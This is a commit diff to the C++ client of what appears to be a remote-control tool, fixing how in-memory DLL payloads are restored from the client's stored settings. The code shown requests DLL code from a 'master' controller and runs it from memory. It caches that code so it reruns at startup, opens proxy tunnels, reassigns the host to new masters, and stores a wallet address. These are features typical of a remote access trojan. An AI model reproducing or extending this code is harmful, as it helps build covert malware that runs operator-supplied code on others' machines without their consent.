Fix: Using wrong DLL info size causes RestoreMemDLL restore failed
This commit is contained in:
@@ -66,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
|
||||
{
|
||||
m_cfg = new iniFile(CLIENT_PATH);
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
@@ -96,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
SAFE_DELETE(m_cfg);
|
||||
HANDLE hList[MAX_THREADNUM] = {};
|
||||
for (int i=0; i<MAX_THREADNUM; ++i) {
|
||||
if (m_hThread[i].h!=0) {
|
||||
@@ -239,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
DllExecParam<>* dll = (DllExecParam<>*)param;
|
||||
DllExecuteInfo info = *(dll->info);
|
||||
PluginParam pThread = dll->param;
|
||||
CManager* This = dll->manager;
|
||||
CKernelManager* This = (CKernelManager*)dll->manager;
|
||||
#if _DEBUG
|
||||
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
||||
DllRunner* runner = new DefaultDllRunner(info.Name);
|
||||
@@ -268,10 +270,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
@@ -279,7 +286,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
}
|
||||
@@ -287,10 +293,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
@@ -298,7 +309,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
}
|
||||
@@ -630,16 +640,15 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
|
||||
}
|
||||
|
||||
int CKernelManager::RestoreMemDLL() {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
binFile bin(CLIENT_PATH);
|
||||
|
||||
// 枚举所有以 .md5 结尾的值名称
|
||||
auto md5Keys = cfg.EnumValues("settings", ".md5");
|
||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||
int count = 0;
|
||||
|
||||
for (const auto& key : md5Keys) {
|
||||
// 获取 MD5 值
|
||||
std::string md5 = cfg.GetStr("settings", key);
|
||||
std::string md5 = m_cfg->GetStr("settings", key);
|
||||
if (md5.empty())
|
||||
continue;
|
||||
|
||||
@@ -657,11 +666,11 @@ int CKernelManager::RestoreMemDLL() {
|
||||
continue;
|
||||
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
|
||||
if (binData.size() < sz + info->Size)
|
||||
if (binData.size() < 1 + info->InfoSize + info->Size)
|
||||
continue;
|
||||
|
||||
// 恢复到 m_MemDLL
|
||||
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz);
|
||||
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
|
||||
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
|
||||
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
|
||||
count++;
|
||||
@@ -673,8 +682,8 @@ int CKernelManager::RestoreMemDLL() {
|
||||
ScheduleParams& sch = infoCopy.Schedule;
|
||||
|
||||
// 从注册表读取运行时状态(LastRunTime 和 CurrentCount)
|
||||
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun");
|
||||
std::string countStr = cfg.GetStr("settings", name + ".count");
|
||||
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
|
||||
std::string countStr = m_cfg->GetStr("settings", name + ".count");
|
||||
if (!lastRunStr.empty()) {
|
||||
sch.LastRunTime = std::stoull(lastRunStr);
|
||||
}
|
||||
@@ -695,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
// 如果有时间间隔限制,更新 LastRunTime
|
||||
if (sch.Config.Startup.Interval > 0) {
|
||||
YamaTaskEngine::MarkExecuted(&sch);
|
||||
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
|
||||
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
|
||||
}
|
||||
// 如果有次数限制,更新 CurrentCount
|
||||
if (sch.MaxCount > 0) {
|
||||
@@ -703,7 +712,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
// 如果没更新过 LastRunTime,需要单独增加计数
|
||||
sch.CurrentCount++;
|
||||
}
|
||||
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
|
||||
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -721,15 +730,15 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
const T* info = (T*)(szBuffer + 1);
|
||||
const char* md5 = info->Md5;
|
||||
auto find = m_MemDLL.find(md5);
|
||||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
config *cfg = This->m_cfg;
|
||||
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
|
||||
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
|
||||
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||||
@@ -741,8 +750,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
// 收到完整 DLL 数据,保存到注册表
|
||||
if (md5[0]) {
|
||||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||||
@@ -758,7 +766,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
// 替换 .bin 中的参数部分(跳过命令字节)
|
||||
memcpy(&binData[1], szBuffer + 1, sizeof(T));
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
|
||||
Mprintf("Update DLL params in registry: %s\n", info->Name);
|
||||
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
|
||||
}
|
||||
}
|
||||
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
|
||||
@@ -783,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
switch (szBuffer[0]) {
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "group_name", group);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -955,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHARE:
|
||||
case COMMAND_ASSIGN_MASTER:
|
||||
if (ulLength > 2) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto now = time(nullptr);
|
||||
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
|
||||
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
cfg.SetStr("settings", "master", v[0]);
|
||||
cfg.SetStr("settings", "port", v[1]);
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
// overflow after 2038-01-19
|
||||
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
}
|
||||
}
|
||||
case SHARE_TYPE_YAMA: {
|
||||
@@ -984,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
auto list = cfg.GetStr("settings", "share_list");
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
if (VectorContains(shareList, share)) break;
|
||||
shareList.push_back(share);
|
||||
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
@@ -1003,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_SHARE_CANCEL: {
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "share_list", "");
|
||||
m_cfg->SetStr("settings", "share_list", "");
|
||||
}
|
||||
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
|
||||
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
|
||||
@@ -1027,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
|
||||
}
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
}
|
||||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||
if (pMgr) {
|
||||
|
||||
@@ -134,6 +134,7 @@ struct RttEstimator {
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
iniFile* m_cfg = nullptr;
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
|
||||
Reference in New Issue
Block a user